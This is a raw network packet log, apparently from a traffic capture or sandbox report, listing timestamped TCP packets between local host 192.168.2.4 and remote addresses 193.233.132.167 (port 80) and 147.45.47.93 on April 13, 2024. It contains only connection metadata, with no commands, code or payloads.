Apr 13, 2024 20:21:28.330569029 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.330584049 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.330612898 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.330651045 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.330667973 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.330688953 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.330724955 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.330739975 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.330763102 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.330776930 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.330800056 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.330837011 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.330857038 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.330873966 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.330909967 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.330928087 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.330945969 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.330960989 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.330984116 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.331020117 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.331034899 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.331057072 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.331094027 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.331108093 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.331130981 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.331144094 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.331167936 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.331204891 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.331221104 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.331242085 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.331278086 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.331295013 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.331314087 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.331329107 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.331351042 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.331386089 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.331406116 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.331423998 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.331460953 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.331475973 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.331497908 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.331535101 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.331551075 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.331573009 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.331610918 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.331628084 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.331648111 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.331662893 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.331686020 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.331724882 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.331746101 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.331762075 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.331796885 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.331815958 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.331835032 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.331852913 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.331871986 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.331907988 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.331926107 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.331943989 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.331981897 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.331998110 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.332020044 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.332037926 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.332057953 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.332093954 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.332110882 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.332132101 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.332169056 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.332180977 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.332207918 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.332237005 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.332268000 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.332304955 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.332319975 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.332341909 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.332381964 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.332398891 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.332420111 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.332442045 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.332458019 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.332498074 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.332514048 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.332535982 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.332571983 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.332583904 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.332609892 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.332624912 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.332648039 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.332685947 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.332703114 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.332725048 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.332761049 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.332778931 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.332798004 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.332813978 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.332834959 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.332871914 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.332890987 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.332909107 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.332947016 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.332962990 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.332983971 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.332997084 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.333023071 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.333059072 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.333075047 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.333096981 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.333133936 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.333148956 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.333170891 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.333187103 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.333208084 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.333245993 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.333261013 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.333283901 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.333321095 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.333334923 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.333359957 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.333395958 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.333410025 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.333432913 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.333446026 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.333471060 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.333507061 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.333522081 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.333549976 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.333586931 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.333600998 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.333626032 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.333652020 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.333664894 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.333702087 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.333720922 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.333745956 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.333782911 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.333796978 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.333820105 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.333836079 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.333857059 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.333909035 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.336736917 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.575479984 CEST	49750	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:28.678561926 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.678623915 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.678664923 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.678702116 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.678742886 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.678780079 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.678819895 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.678816080 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.678817034 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.678858042 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.678890944 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.678890944 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.678894997 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.678932905 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.678961039 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.678968906 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.679011106 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.679028988 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.679048061 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.679070950 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.679085970 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.679122925 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.679143906 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.679162979 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.679202080 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.679235935 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.679239035 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.679258108 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.679277897 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.679316044 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.679335117 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.679353952 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.679390907 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.679409027 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.679435015 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.679452896 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.679471970 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.679507971 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.679523945 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.679543972 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.679580927 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.679600954 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.679619074 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.679636002 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.679656982 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.679671049 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.679696083 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.679733038 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.679754019 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.679769993 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.679805994 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.679822922 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.679843903 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.679861069 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.679882050 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.679919958 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.679934025 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.679956913 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.679994106 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.680011988 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.680030107 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.680041075 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.680068016 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.680104017 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.680121899 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.680140972 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.680176020 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.680198908 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.680212975 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.680248022 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.680278063 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.680315018 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.680341005 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.680351019 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.680387974 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.680417061 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.680424929 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.680437088 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.680461884 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.680497885 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.680512905 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.680535078 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.680571079 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.680588961 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.680615902 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.680634022 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.680655003 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.680691957 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.680705070 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.680730104 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.680768013 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.680784941 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.680804968 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.680818081 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.680841923 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.680879116 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.680892944 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.680916071 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.680953979 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.680972099 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.680990934 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.681003094 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.681029081 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.681071043 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.681087017 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.681107044 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.681145906 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.681164026 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.681183100 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.681205988 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.681219101 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.681255102 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.681273937 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.681292057 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.681328058 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.681356907 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.681365967 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.681382895 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.681402922 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.681438923 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.681451082 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.681477070 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.681513071 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.681529045 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.681550980 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.681562901 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.681588888 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.681626081 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.681643009 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.681664944 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.681701899 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.681720972 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.681740046 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.681756973 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.681777954 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.681813955 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.681830883 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.681852102 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.681886911 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.681904078 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.681925058 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.681945086 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.681961060 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.681999922 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.682015896 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.682037115 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.682075977 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.682092905 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.682112932 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.682127953 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.682149887 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.682187080 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.682203054 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.682225943 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.682262897 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.682279110 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.682301044 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.682312965 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.682337999 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.682375908 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.682390928 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.682415009 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.682452917 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.682487011 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.682490110 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.682519913 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.682527065 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.682562113 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.682578087 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.682599068 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.682636023 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.682655096 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.682673931 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.682709932 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.682724953 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.682748079 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.682761908 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.682785034 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.682821035 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.682837963 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.682858944 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.682894945 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.682909966 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.682931900 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.682946920 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.682971001 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.683007956 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.683024883 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.683044910 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.683082104 CEST	80	49752	193.233.132.167	192.168.2.4
